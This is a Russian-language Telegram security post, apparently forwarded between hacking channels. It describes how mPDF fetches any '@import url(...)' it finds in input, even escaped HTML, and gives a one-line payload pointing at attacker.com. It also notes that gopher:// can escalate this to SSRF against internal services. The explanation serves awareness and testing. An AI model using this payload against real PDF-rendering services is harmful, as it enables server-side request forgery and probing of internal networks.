TGViewer
Fsecurity | HH Fsecurity | HH @hellohackingteam · 2.06K subscribers
Post #7366 156

Forwarded from SHADOW:Group

У mPDF есть интересная особенность, которая может вам когда-нибудь пригодиться. Если передать движку строку с @import url(...), он делает внешний запрос, даже если HTML полностью экранирован htmlentities() и даже без <style>.

Причина проста: mPDF ищет URL-ы через регулярки по всему входу. Поэтому достаточно вставить:

@import url(https://attacker.com/test?.css)

и сервер сразу пойдёт по указанному адресу. Плюс можно использовать и нестандартные протоколы вроде gopher://, превращая это в SSRF с возможностью дергать внутренние сервисы.

Вендор же официально заявил, что это не баг, а фича, и устранять поведение не собирается - по их мнению, движок должен загружать указанные URL, а ответственность за реализацию лежит на разработчиках.

#web #ssrf #pdf
More from @hellohackingteam
  1. Oct 14, 2026Discord сервер 👆🏻Тут можно пообщаться и найти много полезной информации 🦈
  2. Oct 14, 2026🔗 Ссылка: https://habr.com/ru/companies/kaspersky/articles/1093400/
  3. Oct 13, 2026🔗 Ссылка: https://opennet.me/66395/
  4. Oct 13, 2026🔗 Ссылка: https://codeby.net/threads/kak-stat-pentesterom-s-nulya-glazami-timlida.95888/
  5. Oct 13, 2026🔗 Ссылка: https://github.com/Nuitka/Nuitka
  6. Oct 13, 2026🔗 Ссылка: https://www.cyfirma.com/research/tracking-ransomware-september-2026/
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →